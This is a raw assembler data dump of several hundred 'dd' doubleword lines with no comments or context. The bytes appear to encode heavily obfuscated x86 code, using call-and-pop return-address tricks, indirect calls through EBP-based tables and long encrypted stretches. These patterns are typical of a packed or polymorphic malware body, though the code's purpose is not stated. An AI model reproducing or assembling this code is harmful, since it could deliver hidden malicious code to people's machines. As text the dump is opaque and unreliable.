		dd 8ACA25E1h, 0C47423ACh, 0A7E08A84h, 842A0DAAh, 86EA2BBh
		dd 3F6672FCh, 0FF1B0719h, 0B5D07F0Eh, 0C139AB2h, 45987355h
		dd 7BC62503h, 770BE0E4h, 0A8034518h, 33774BE2h,	0ABB71430h
		dd 0E38E9D0Fh, 3F665BD5h, 0F9302E19h, 3E367C40h, 0C1839C18h
		dd 4A4904E7h, 47DB3016h, 5E4F69E8h, 0DB7h, 0E271A300h
		dd 0EBC054D6h, 0F8312994h, 0DC815276h, 84BC03E8h, 6DF249A2h
		dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh
		dd 15489774h, 5108D833h, 0BF57E189h, 7F361B90h,	6770E781h
		dd 814F44C1h, 0D33F91CFh, 0A1EF8177h, 810FFE65h, 0D4D9FAEFh
		dd 5FF90167h, 8704E983h, 685C240Ch, 2C89h, 68240489h, 2B9Fh
		dd 81241C89h, 4ECh, 242C8900h, 320790BDh, 5DE88906h, 241C8B54h
		dd 8104C483h, 4ECh, 24048900h, 8B08438Fh, 8957241Ch, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C48158h, 0E9000000h
		dd 0FFF972C4h, 3C8EB3B1h, 94EB05E1h, 3CD3131Eh,	320C6FB8h
		dd 0FFC50306h, 39B11BE0h, 27E74D34h, 7619191Ch,	0A782667Eh
		dd 66B11A25h, 0C899DE5Ah, 29554653h, 1B7E3565h,	178D8D71h
		dd 6A06320Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 8BCEC356h, 0B1B4F00Dh,	68A0FA2h
		dd 8B000000h, 2B208985h, 89A8B206h, 2B0EE18Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F67A356Ch, 54CE81CDh, 0C731B559h, 2B21E185h, 5C1406h
		dd 0D1B70F00h, 2BE585C7h, 62Bh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0E02E88C3h
		dd 0BE8A956h, 2D000000h, 11BE7099h, 0F2F65C6h, 858B2E65h
		dd 62B1211h, 0FDB5FF5Fh, 66062B0Dh, 0FF72E0BBh,	2B273195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F1E80E3h, 38Ah,	0F3BF0F00h, 95FF006Ah
		dd 62B2945h, 28EBC08Bh,	7C5BF51Dh, 0FA2F2A87h, 4019BFF7h
		dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h
		dd 0B1EFC155h, 895680EBh, 0EF58D8Dh, 8F0F0632h,	6, 6119589h
		dd 8D89062Bh, 62B0EE1h,	0E185C7F9h, 50062B21h, 6A00006Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 48CAC357h, 0C3CCB28h, 3180C482h, 2B07718Dh
		dd 85C7F906h, 62B2BE5h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BFC35646h
		dd 0A5B5FF0Dh, 89062B21h, 2B0DC1B5h, 3195FF06h,	6A062B27h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F7EEC356h, 7E0B20D3h, 6A4BA3h, 294595FFh
		dd 0C08B062Bh, 51D20EEBh, 0ABAE947Bh, 4159175Eh, 0B74F09FAh
		dd 10E8h, 3812D700h, 0E06846DBh, 0D552200h, 3E61C90Ah
		dd 2D9D8B41h, 5F062B2Bh, 1EB98D8Bh, 0C781062Bh,	6230h
		dd 6880Fh, 0BD310000h, 62B0BC1h, 0D9CD46BAh, 24F28171h
		dd 8B71D9D5h, 5637FFD8h, 839BD89h, 585E062Bh, 0DC99D31h
		dd 0C081062Bh, 4E70E3DBh, 0D8E0Fh, 8E90000h, 4B000000h
		dd 3F5D7B88h, 813CA8D1h, 7707EDF0h, 96E88111h, 8B53C076h
		dd 0F0789CBh, 1186h, 0B880F00h,	0E8000000h, 5, 0C35FAB95h
		dd 0EF815EC6h, 7CF7CD0Eh, 1AD6BB66h, 0CD0AC781h, 0B58B7CF7h
		dd 62B15F5h, 92850F4Ah,	8BFFFFFFh, 328D8DF0h, 66063210h
		dd 8D89D68Bh, 62B0EE1h,	799D31h, 85C7062Bh, 62B21E1h, 59B4h
		dd 0A21858Bh, 85C7062Bh, 62B2BE5h, 0
		dd 18719D33h, 0B5FF062Bh, 62B18B9h, 244D8589h, 95FF062Bh
		dd 62B2731h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	53C35646h, 0FF489DFh, 689h, 34D08100h, 6A29A966h
		dd 4595FF00h, 8B062B29h, 402CEBC0h, 916C14CBh, 78F00116h
		dd 80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 9D1D106Bh,	0AE391619h
		dd 9832CB76h, 150920A1h, 0EB461CB9h, 0E819AB1Fh, 0Ch, 76EA3EC8h
		dd 0EAD5962Fh, 9E9E3B5Bh, 0C281F95Ah, 7175h, 1D98589h
		dd 3CB8062Bh, 810D6AE1h, 6AFD06F0h, 0C8B0F0Dh, 0F000000h
		dd 68Ch, 25858900h, 8B062B2Ch, 0A5EF813Ah, 8136B538h, 0F55E56C7h
		dd 0C2D38013h, 0DFA4EF81h, 81664725h, 8912FACBh, 718D8B3Ah
		dd 81062B32h, 3BE839EAh, 2850F59h, 8B000000h, 35C281D8h
		dd 0F593BE8h, 0E883CFBFh, 0BC850F01h, 50FFFFFFh, 0FE9h
		dd 0D57D9500h, 0D3BD588Fh, 7BA58BA6h, 0D2A77098h, 13E85Eh
		dd 9CC0000h, 43E5A19h, 7227A76Bh, 515E1D03h, 4728A48Fh
		dd 0EDD081A1h, 5B1DB295h, 62B9C381h, 81660000h,	68C861E7h
		dd 1877h, 68D0F60h, 89000000h, 2B2FC59Dh, 2FF78106h, 6158D315h
		dd 0AE95Eh, 86550000h, 0E4CF8259h, 7CB9B5C3h, 7DB533FFh
		dd 81FA8B5Ah, 7F4728C2h, 0C5B52977h, 81062B34h,	0D6E455EAh
		dd 0E5B5892Eh, 81062B07h, 6A637BF2h, 48B96645h,	0BD315289h
		dd 62B2689h, 0F60038Fh,	28Bh, 29616000h, 2B1E5DB5h, 0EB836106h
		dd 5E803h, 7AE50000h, 8B380206h, 2B0225BDh, 314B5906h
		dd 2B170195h, 850F4E06h, 1Eh, 7FF78166h, 25E907h, 8BEE0000h
		dd 0ED9A46EDh, 7EE77D1Fh, 8463F867h, 4F1179A8h,	8D8B4BCFh
		dd 62B0A05h, 0FFFF73E9h, 9D6293FFh, 0E8BD2778h,	14h, 8DEB9C8Bh
		dd 4B82BD01h, 0A5142279h, 82102AAEh, 9F3672A0h,	219D89h
		dd 8B5E062Bh, 8FC681FAh, 8900005Eh, 2B20418Dh, 0B906h
		dd 85890000h, 62B2A49h,	893134FFh, 2B354D9Dh, 0B5895B06h
		dd 62B2605h, 507DEB81h,	81661D40h, 81AF7FEFh, 1366F6F3h
		dd 0B77EB866h, 0C38170B9h, 7B23F5AEh, 2DBD8B60h, 9062B2Ch
		dd 2B2AAD85h, 81536106h, 0CDF16CE2h, 0E048F31h,	32718D29h
		dd 8166062Bh, 818D2CF0h, 2B8959E9h, 81F3B017h, 2B8955C1h
		dd 68D0F17h, 89000000h,	2B20158Dh, 18F98106h, 0FFFFFA2h
		dd 0FFFF8B85h, 0E8D78BFFh, 0Ah,	7380EEE2h, 944ADE36h, 81589A1Fh
		dd 6DC7C0h, 65958900h, 0B9062B08h, 1B55h, 0F219D8Bh, 388B062Bh
		dd 11E9h, 4D88FD00h, 88AB5018h,	5C0CF6DBh, 2BBDA0F3h, 0C7813E31h
		dd 59CE265Fh, 81F28B66h, 0E3F80EC7h, 0DDF38156h, 817EAAEBh
		dd 9161C2C7h, 999D0378h, 57062B2Ch, 9D23008Fh, 62B193Dh
		dd 8B03E883h, 81F848DAh, 1E9h, 0AB850F00h, 82FFFFFFh, 889A075h
		dd 0DC781469h, 4AC38DA6h, 2E86360Eh, 908635A1h,	480AD925h
		dd 99053025h, 14AD2DB8h, 76023F25h, 7863025h, 69AF2D98h
		dd 0A5893023h, 90863057h, 7BABB5E3h, 4CC8360Eh,	862C3C12h
		dd 0A234A4h, 7B95A8EEh,	699BAD90h, 0CA03BD23h, 6F801EA6h
		dd 8E76BBF5h, 0FB51DA0h, 9EE7E23h, 882A061Eh, 68DD1411h
		dd 0F7793451h, 27AD1938h, 136DB5A8h, 9879360Bh,	343FC8AEh
		dd 0FB863025h, 986302Dh, 8A033F83h, 0B863025h, 0A489F92Eh
		dd 6F79CFD5h, 48863DCCh, 851BBD25h, 0AA801B6Bh,	9863020h
		dd 390BD3DAh, 44B4232Eh, 324EBDA8h, 823E3617h, 63000000h
		dd 826FF1EAh, 889A075h,	0DC781469h, 4AC38DA6h, 2E86360Eh
		dd 908635A1h, 480AD925h, 99053025h, 0F305E983h,	22B9A4h
		dd 22E90000h, 0B2000000h, 2BE450h, 7 dup(0)
		dd 853E900h, 0C29B0000h, 76ED0A86h, 273D5A56h, 0CB8AE521h
		dd 80D631EDh, 403742BEh, 7DB983D7h, 920E3822h, 0DCD8EC75h
		dd 6BA781C3h, 0FC8E9AB1h, 9192D9D4h, 1E593493h,	0C76365FDh
		dd 0AB7389E4h, 1C18AF3Fh, 718D0980h, 917A4C12h,	0E1700089h
		dd 1094EBC0h, 0ADBA7650h, 0CB65731Eh, 0BE94EBC0h, 0C034B6A0h
		dd 0D14994EBh, 9AD727D8h, 350B4E4Dh, 0CE4148D6h, 0C6D96BA2h
		dd 2FFC628Ah, 2BB48ED0h, 0F7D4EE6Ch, 0A3FCA26Bh, 446054A1h
		dd 3853E9EEh, 70F04F9Ch, 312A7556h, 0A1F594Dh, 3FCF4CFEh
		dd 0AD5F6D6Dh, 0A06D3FCFh, 41DD7DBEh, 0E9185245h, 0CBB6776Ah
		dd 0BD494D81h, 0E3F15E58h, 6D3F4C49h, 1EEB223Ch, 63h, 0E7D981B8h
		dd 5CA1B904h, 43A8C4FEh, 1A3E5DF0h, 2F4B6DE7h, 7FE542DCh
		dd 2DDC6249h, 45A5034h,	0CA59C6C2h, 0EBC00CBEh,	7ED94194h
		dd 7B07E4DAh, 0DD5B17B2h, 28037D96h, 44000000h,	0D8331549h
		dd 81434746h, 0C804E7D9h, 94EBC039h, 8D31154Eh,	0C058D2FEh
		dd 2D2D94EBh, 8BBDA5FCh, 12040Fh, 81F20000h, 0C804E7D9h
		dd 94EBC038h, 8E24185Dh, 0A63AF6C8h, 85D21F6Fh,	0C6EA4E77h
		dd 9279E18Ah, 0FB37094Fh, 2586B89Ch, 3CABC838h,	12319910h
		dd 0FD6AF473h, 2586B89Eh, 0A0722A15h, 2D5E80D0h, 0D07F29FCh
		dd 0A6B53745h, 56C86742h, 24DAAE57h, 8CF2BE79h,	0C2B3FADDh
		dd 0F95C2BFDh, 0A7495753h, 0DA6742B1h, 9EE12844h, 0EF0884BAh
		dd 7EAA8469h, 83089AF8h, 0CAC98467h, 547CAD8Bh,	67423BEAh
		dd 5A99D94h, 0A3FE695Fh, 0A20089BBh, 14246F3Eh,	8F937842h
		dd 0D50D6F73h, 0FDE1C781h, 7DF9BE22h, 17C96D5h,	23h, 0D7246FCDh
		dd 0C9637103h, 0BC94EBC0h, 6971BEA2h, 0F1E5DB81h, 12718B4Fh
		dd 8F93784Eh, 32F71Eh, 6FE30000h, 7103D724h, 0EBC0C963h
		dd 0A9B5D094h, 0FB324C9Fh, 6264F615h, 27112C6h,	0E6CA03B0h
		dd 0BB5657AFh, 0E5DB81A7h, 95004FF1h, 6DEDC5CDh, 5B7FAEA1h
		dd 0AE1C781h, 2ACB847h,	1B94EBC0h, 0EBC0630Dh, 0B3081694h
		dd 0B6D2F46Ch, 5F395977h, 0C57E94E0h, 0AB2E5D01h, 0F9F7A1E9h
		dd 261E61A8h, 0F76B8400h, 0BFA3FECDh, 6E2F5A85h, 0FA5BE46Ch
		dd 0DDEFE79h, 0E376D16Dh, 0B9700EDDh, 0DEA29BEAh, 0EF6F96C8h
		dd 0F68F6D5h, 0DFDB7749h, 3B0D5530h, 0DD6F7DD0h, 0B06B10C1h
		dd 0FC9B12AEh, 7D91DA72h, 342Ah, 1271B400h, 8B977452h
		dd 6345FF02h, 66BDB88h,	8BB6CBD9h, 92C98AC6h, 0A7A1FEC8h
		dd 0F8142A81h, 0FDC17A13h, 5E89AFA9h, 0E6FB1C43h, 0AE73DC40h
		dd 9B4746E2h, 22C78107h, 58A70422h, 53EF3C06h, 3309B37h
		dd 311BEB3h, 8AC68D96h,	5FDC72B9h, 427ABBA6h, 8527C5F5h
		dd 47E34272h, 98C1DC4Bh, 0F23B47A4h, 3893B5AFh,	0C9883B94h
		dd 0F7CB64F0h, 4897B1B3h, 6676DC5Dh, 9415562Ch,	0D672212Eh
		dd 0F63DB4ACh, 0E7C4E063h, 0B3CE3F5Bh, 73497B1h, 1F2DBAB7h
		dd 0FFA7F4F6h, 0CB568199h, 0DDE733BDh, 471B46FBh, 7490AE7Dh
		dd 6FD5C9B5h, 0D03D724h, 22C781D5h, 0E9ED093Fh,	3563522h
		dd 0F9CECC3Dh, 7C96D57Dh, 4201h, 271CD00h, 35DD307Fh, 523253Bh
		dd 8D7C98A6h, 1EC2319Ch, 0C0C96371h, 0A2BC94EBh, 716971BEh
		dd 0E794F12h, 2537DB5Dh, 304FBEF0h, 71461A2Ch, 0C4499602h
		dd 3DFA892h, 0B08108F7h, 2F758Ah, 716D0000h, 8CB0A7E2h
		dd 0BB35233Fh, 0CE94EBC0h, 5963F750h, 0C3DEC72h, 71AEB2C1h
		dd 0B27B4D12h, 0C0FF719Fh, 0A3BF94EBh, 816971BFh, 4FF1E5DBh
		dd 0E1C7818Bh, 5FCAC60Ah, 48E194E0h, 20063E74h,	0EDD78BE4h
		dd 0A59FC31Eh, 7A4EF746h, 9C182234h, 92576FFBh,	28177Dh
		dd 81B30000h, 590AE1C7h, 4D5B84E9h, 8AC6DB6Ch, 0DA54600Fh
		dd 0AF6D3F3Bh, 0A7BB7AB3h, 0D2B64F44h, 154264DCh, 2EDFE176h
		dd 0C7816C70h, 0B73947D2h, 0CA94EBC0h, 0C0E08A54h, 0B69594EBh
		dd 0EBC000AAh, 49E57594h, 1D6DDE2Dh, 540887D0h,	8819972h
		dd 3D0F7A09h, 6A4205A0h, 318EF981h, 0C7C9C02Fh,	8AC68502h
		dd 0FDE11D3Dh, 3D7246Fh, 1271D50Dh, 89917A4Ch, 61470100h
		dd 5635227Dh, 4CD2391Fh, 7DF9395Dh, 17C96D5h, 46h, 0D7246FCDh
		dd 0C9637103h, 0BC94EBC0h, 9AA635A2h, 94EBC010h, 0E13B2665h
		dd 0CD92311h, 719D39F0h, 8BADA7E2h, 0EBEF1E20h,	3026DB81h
		dd 4FEEF20Eh, 0D6E2718Bh, 94EBC054h, 563129h, 5C4DED3Eh
		dd 3EB1h, 246FA100h, 93784214h,	0C01E90BCh, 0EF7394EBh
		dd 71233753h, 0EBC0C963h, 26B19194h, 0C0E38D9Bh, 889694EBh
		dd 0E2718501h, 1E8FB1A7h, 4F127178h, 0EB71B079h, 4F01D5h
		dd 6E5C385h, 7115B178h,	0A3E6E902h, 5C4DEDC0h, 0C6250345h
		dd 704A0C8Bh, 2F11449Bh, 1A761A93h, 1194E0F6h, 0D68E2418h
		dd 99DB34F0h, 45E1DB7Ch, 6885F566h, 0CB08D1FFh,	7C0B753Ah
		dd 3ACBDE50h, 7EAFB36Dh, 7367A3BFh, 88D7246Fh, 99724A0Dh
		dd 71820881h, 917A4C12h, 90B6AE89h, 17E6273Bh, 0E1C781B3h
		dd 0F9BE22FDh, 7C96D57Dh, 6381C7Bh, 871495A5h, 36h, 0D7246F43h
		dd 4C127103h, 89917Ah, 0C049E3F1h, 223C94EBh, 8169713Eh
		dd 71F1E5DBh, 72BC3802h, 5A5303C2h, 0E271CD89h,	0EBC054D6h
		dd 0F8312994h, 585Dh, 246F4500h, 3F1D88D7h, 53DDEBACh
		dd 2694EB97h, 0F19D4F38h, 716367A6h, 0A74957E2h, 0DA94EBC0h
		dd 1DEED287h, 0D386E17Dh, 1A943CEDh, 4294EBC0h,	0DC2F1945h
		dd 79C98191h, 4A04B8Fh,	1271F4E8h, 808F7E48h, 0E5DB817Eh
		dd 9EDA0F7Ah, 0D7E469B8h, 0CF53B89Ch, 4F5C7AB3h, 0E1C7818Bh
		dd 5FCAC60Ah, 1D5794E0h, 0D48DD03Bh, 0F9721BF0h, 0BAB36205h
		dd 0E97510C6h, 91D32EDFh, 0EB6D28B7h, 760FECDh,	0FE806B4Dh
		dd 3C34530Fh, 123ECD1Ah, 6B10BE98h, 0E9BC6DEDh,	0F312762h
		dd 0C4F861BCh, 0CE3F5BE7h, 5780ED5Dh, 3DAFB449h, 0DD94CB75h
		dd 0F20E10FBh, 82E2665h, 0B06E9FA3h, 14246F2Ch,	92AC7F41h
		dd 0D50D6276h, 0FDE1C781h, 7DF9BE22h, 7B7C96D5h, 0F37C9D0Ch
		dd 0C4C5FB38h, 4937h, 246F9300h, 637103D7h, 94EBC0C9h
		dd 0A635A2BCh, 0EBC0109Ah, 6AF56594h, 0EBC0AC5Eh, 70B9A194h
		dd 7169714Ah, 6F5B2502h, 6FF89E13h, 0EB16AF41h,	4DBCA294h
		dd 44182E32h, 0E2718B4Fh, 0EBC054D6h, 0F8312994h, 285Dh
		dd 246F4500h, 637103D7h, 94EBC0C9h, 71ADB191h, 8EB2A7E2h
		dd 0DB817B1Fh, 9FB9BBD6h, 8A24324Ch, 0FF94EBC0h, 4F13C763h
		dd 0E1C7818Bh, 84E9590Ah, 0EA0CC5Bh, 0DF94EBC0h, 0E876457Fh
		dd 0C3022E21h, 4A8AC68Bh, 0E151D8D4h, 0AA35438Ch, 0F9730926h
		dd 3D378A61h, 5709F1Bh,	0D22E5164h, 2F72BBF5h, 14B81335h
		dd 5113996Eh, 0F6AC90A9h, 2883C59Bh, 3D615DC5h,	0F511AC68h
		dd 2A81C79Ah, 0CA8A9514h, 9DD730ECh, 6EFD50BBh,	2018A842h
		dd 9A3B151h, 7C512018h,	880119E2h, 0DDEFE79h, 70261A03h
		dd 0AC7F4915h, 4C041B92h, 0CE5E84B9h, 0BCC8AB52h, 5120D232h
		dd 23BFDB47h, 0BE9ED9B4h, 66DCCD6Dh, 82694F09h,	3CBh, 7A5EAF00h
		dd 3E8DC81h, 49A284BCh,	705B6DF2h, 0B417312Dh, 0FCCFF169h
		dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h,	0E7895708h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 56241489h,	0C681E689h
		dd 4, 8704EE83h, 895C2434h, 89562434h, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 2414895Ch, 141ABF57h
		dd 81570632h, 16392404h, 815E2874h, 741639EEh, 3685F28h
		dd 89000073h, 4832424h,	835A0424h, 48904ECh, 8B824h, 0D0010000h
		dd 8B583089h, 89502414h, 405E0h, 0C0830000h, 24048704h
		dd 2434FF5Ch, 4C4815Eh,	0E9000000h, 0FFF96354h,	0FDDE7328h
		dd 0A7A57FA2h, 1BD1B831h, 0C5030632h, 65A8E0FFh, 0B08113D1h
		dd 0C0DC3EE3h, 0CD80769Ah, 0A8110AC3h, 5C904355h, 0DB32717Bh
		dd 30BF2048h, 3C2A69A2h, 4037774Dh, 0C7B95DAFh,	0CA0E41E0h
		dd 973468DDh, 81D47629h, 0FDC8045Fh, 44D50875h,	0B42C49A4h
		dd 4578593Dh, 9D3C55CAh, 462B0133h, 6CB60946h, 0AE352FD0h
		dd 0B40C497Dh, 78A568ACh, 1E1666EDh, 863D5D36h,	0AF7F641Ch
		dd 0C096381Ch, 5E656BCAh, 8D8D001Ah, 6321D79h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C8C35141h, 0AF300156h
		dd 8B6B78D1h, 0E18D89A8h, 0E9062B0Eh, 5, 0C79F6096h, 0E185C7FCh
		dd 0E8062B21h, 6A000070h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 9941C351h, 0C7F28B5Ch
		dd 2B2BE585h, 6, 0EDEE8000h, 165B5FFh, 95FF062Bh, 62B2731h
		dd 25C98589h, 0BB66062Bh, 6AD5EBh, 294595FFh, 0C08B062Bh
		dd 0BA021EEBh, 7E44EAF4h, 7264DA26h, 4F965932h,	871517FAh
		dd 3528B2ADh, 2D1E06CEh, 0AD15C591h, 0CE8h, 0A1135400h
		dd 0AA617D49h, 0EE1F0848h, 0DFB70FDBh, 0C9D7815Ah, 81744141h
		dd 60C9C2h, 85858B00h, 0B9062B16h, 0
		dd 34FF6FB4h, 2D9D8B11h, 5E062B17h, 5BB2B866h, 1D7CC681h
		dd 0B8660F49h, 0C681175Ch, 7A2A5F72h, 0FE8h, 9FFDBD00h
		dd 0C1A89C9Ah, 0E53579C4h, 0D023CB8Dh, 815BF98Ah, 0A3D59AF6h
		dd 14E96Bh, 6CAE0000h, 1E8DB653h, 2F356EAh, 63E3EFA3h
		dd 0F705C581h, 0FC5637B0h, 290A048Fh, 2B25D195h, 13E906h
		dd 413C0000h, 8D0EF047h, 3DBE64E6h, 0B2D52E17h,	4338EAE0h
		dd 4E98378h, 0FE8h, 1F500C00h, 0F162DFA6h, 14099169h, 499ADAh
		dd 288DB531h, 815B062Bh, 0FFA008F9h, 5F850FFFh,	0E9FFFFFFh
		dd 6, 0AF7DFA1h, 8D8DD6CBh, 6321F5Fh, 3261BD8Bh, 8D89062Bh
		dd 62B0EE1h, 20F9958Bh,	858B062Bh, 62B20A9h, 21E185C7h
		dd 6150062Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0EC3516C3h, 0E83AFE92h, 9, 7D47248Dh
		dd 9FED1A9Fh, 6160564Ah, 85C7585Eh, 62B2BE5h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 4C35242h
		dd 2DC31C24h, 0FF3629E4h, 2B0D45B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0C78A53D5h
		dd 273195FFh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E8435DC3h, 5, 25CB0F75h, 0C38B6689h
		dd 0C2BF0F58h, 95FF006Ah, 62B2945h, 5CEBC08Bh, 0C4523383h
		dd 0A04096D0h, 0B8363580h, 5D6EC7F1h, 9EB927F4h, 39A8440Ch
		dd 6CC8F5F8h, 0D0695EE5h, 7F5B2EC5h, 0A4E8C164h, 0F957C6E3h
		dd 0B74A1307h, 205067A6h, 92DF56EEh, 5049CABFh,	0CDEFADB2h
		dd 0B06103D6h, 0C92F4FF1h, 74FCA19Ch, 3A7344B5h, 64EBF52Dh
		dd 5AA5486Dh, 69AF1872h, 0EE8h,	0D9C83800h, 0A076B55Eh
		dd 8CE38AA6h, 0BE0396A5h, 67814F2Eh, 0BD8B605Ah, 62B2665h
		dd 10E9h, 0D6940300h, 35FB5A44h, 0A915393Fh, 53158BB6h
		dd 0C2816189h, 704Ah, 2BC6BF0Fh, 0C1B501FFh, 8B062B00h
		dd 0C1813A0Ch, 746D1EA4h, 1E318531h, 0F181062Bh, 1C6101A4h
		dd 81DABF0Fh, 0DBCA6FE9h, 90F08170h, 513C67C5h,	2FA58D89h
		dd 48F062Bh, 0C2B70F3Ah, 2B79B58Bh, 0EF83062Bh,	95895304h
		dd 62B2B1Dh, 68FF815Bh,	0FFFFF90h, 1585h, 20E9F900h, 5D000000h
		dd 76426778h, 4792F7D7h, 0B656270Bh, 0F1B3C7AAh, 0FFFF96E9h
		dd 3792C7FFh, 3870C3B1h, 8DB10229h, 3221208Dh, 219D8906h
		dd 89062B21h, 2B0EE18Dh, 398D0106h, 0C7062B01h,	2B21E185h
		dd 740406h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0C7F5717Dh, 2B2BE585h, 6,	14E900h
		dd 6AA0000h, 5DC1B3B2h,	0E919C6BDh, 741861DBh, 0F89A0361h
		dd 0B5FF7F5Ch, 62B18B9h, 9C6BE66h, 273195FFh, 6A062Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 9D87C5C3h, 201C93CBh, 1CDE2FAh, 2B3285BDh, 0FF006A06h
		dd 2B294595h, 0EBC08B06h, 39B3AA2Ch, 0C9BED8E1h, 0E925C1Dh
		dd 497B541Fh, 0BF840847h, 0B000DE4Ch, 41AB2746h, 9C3287D4h
		dd 5F4BB8C0h, 242BBAA3h, 59A29F55h, 358D8DE6h, 6A063222h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1C50C350h, 9477204Fh, 9D01E24Ah, 62B2905h
		dd 0EE18D89h, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E999D4C3h, 0E960605Bh, 8, 5D8C5BE5h
		dd 0DEF3D29Ah, 0EE9h, 20B10200h, 0A116F1B9h, 7C00BAF6h
		dd 618206FAh, 3381BD29h, 0C761062Bh, 2B21E185h,	677406h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 85C75FB7h, 62B2BE5h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ADC35545h
		dd 0FFF08B24h, 2B0A91B5h, 0FFBEB206h, 2B273195h, 6AF506h
		dd 294595FFh, 0C08B062Bh, 0D0E73DEBh, 0A130B393h, 973798C8h
		dd 1D2CE819h, 0E3CAD01h, 594A5561h, 0AFFAB7FEh,	84685A7Bh
		dd 0F21B4A1Fh, 0C49AB79Eh, 88C5858h, 0DFDAC3D3h, 560A58F6h
		dd 590111D3h, 8712B43Bh, 0E881B910h, 9,	6BC44B9Fh, 8030CCE7h
		dd 0B5858925h, 5F062B21h, 16859D8Bh, 0C781062Bh, 5DFFh
		dd 0B95958Bh, 0C933062Bh, 348B43B2h, 0D9BD890Fh, 81062B28h
		dd 3AEA9BF6h, 81FEB056h, 26240EEEh, 68C0F1Bh, 89000000h
		dd 2B1BC18Dh, 0C6EE8106h, 8B0F9065h, 2B11B995h,	8A525606h
		dd 48F5AF5h, 8099B00Fh,	0E98306D7h, 119D8B04h, 81062B19h
		dd 0FFA274F9h, 0AF850FFFh, 8DFFFFFFh, 3223BC8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0B853A441h, 5619C481h, 0E18D8958h, 6A062B0Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8597C356h, 85C7D8F2h, 62B21E1h, 68ECh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 61C35040h, 1BC1B589h
		dd 85C7062Bh, 62B2BE5h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BC35040h
		dd 0DC04A963h, 0F3ED375h, 6651C1B7h, 41CAD881h,	0CDB5FF5Ah
		dd 66062B0Eh, 0FF9F69BFh, 2B273195h, 0FF006A06h, 2B294595h
		dd 0EBC08B06h, 0EF1F8F5Ah, 6E333FEFh, 8FE03DF1h, 54FDB0BDh
		dd 3C6DD081h, 0BC30F84Eh, 78557F12h, 761CC9AFh,	11934E39h
		dd 3D8EC241h, 3CA99A7h,	14B261F5h, 385E1235h, 0D4589097h
		dd 7B5AC48Ch, 378C7507h, 0C0DB027Bh, 698DE341h,	0FFC2D865h
		dd 0C84DB852h, 0A170A254h, 0BC99E188h, 0C62986A5h, 2B332D85h
		dd 0DF685606h, 0FFA9C530h, 2B1BDDB5h, 0EB858D06h, 0FF062E83h
		dd 0F18D8DD0h, 51062B2Ah, 0B5FF406Ah, 62B1CB9h,	17BDB5FFh
		dd 0D0FF062Bh, 1CB9B5FFh, 0B5FF062Bh, 62B17BDh,	0CE8h
		dd 12EF0C00h, 0BF357B60h, 0D3EA1D77h, 835E5EA5h, 2CC104EEh
		dd 24C10224h, 34030224h, 241CF724h, 0BFh, 3734FF00h, 0FBEA815Ah
		dd 81052C4Fh, 0A398D2F2h, 2AEA8117h, 89014045h,	0EF833E14h
		dd 243C3B04h, 16850Fh, 1FE90000h, 9000000h, 68BA8E89h
		dd 26DEFAE4h, 2E9D50BAh, 86F68523h, 0FFFFC0E9h,	0DE82EEFFh
		dd 39EB187Eh, 9D8D6969h, 62B18D5h, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	8DC98B18h, 3225868Dh, 7DB53106h
		dd 89062B1Bh, 2B0EE18Dh, 0DE906h, 99E60000h, 0CB925BBh
		dd 0A810F0E9h, 0C7EA3775h, 2B21E185h, 6B2C06h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 7939DBA1h, 0FE875D0h, 31000000h, 8A321DCFh, 8554FF7h
		dd 616FE882h, 0E3816DE4h, 261009F1h, 85C7F85Eh,	62B2BE5h
		dd 0
		dd 840F49B3h, 4, 0D67BB66h, 165B5FFh, 0B70F062Bh, 61BD31DBh
		dd 0FF062B16h, 2B273195h, 0C1958B06h, 6A062B00h, 4595FF00h
		dd 8B062B29h, 0BE1EEBC0h, 0CBE80E25h, 7C4977Ch,	4B8361F4h
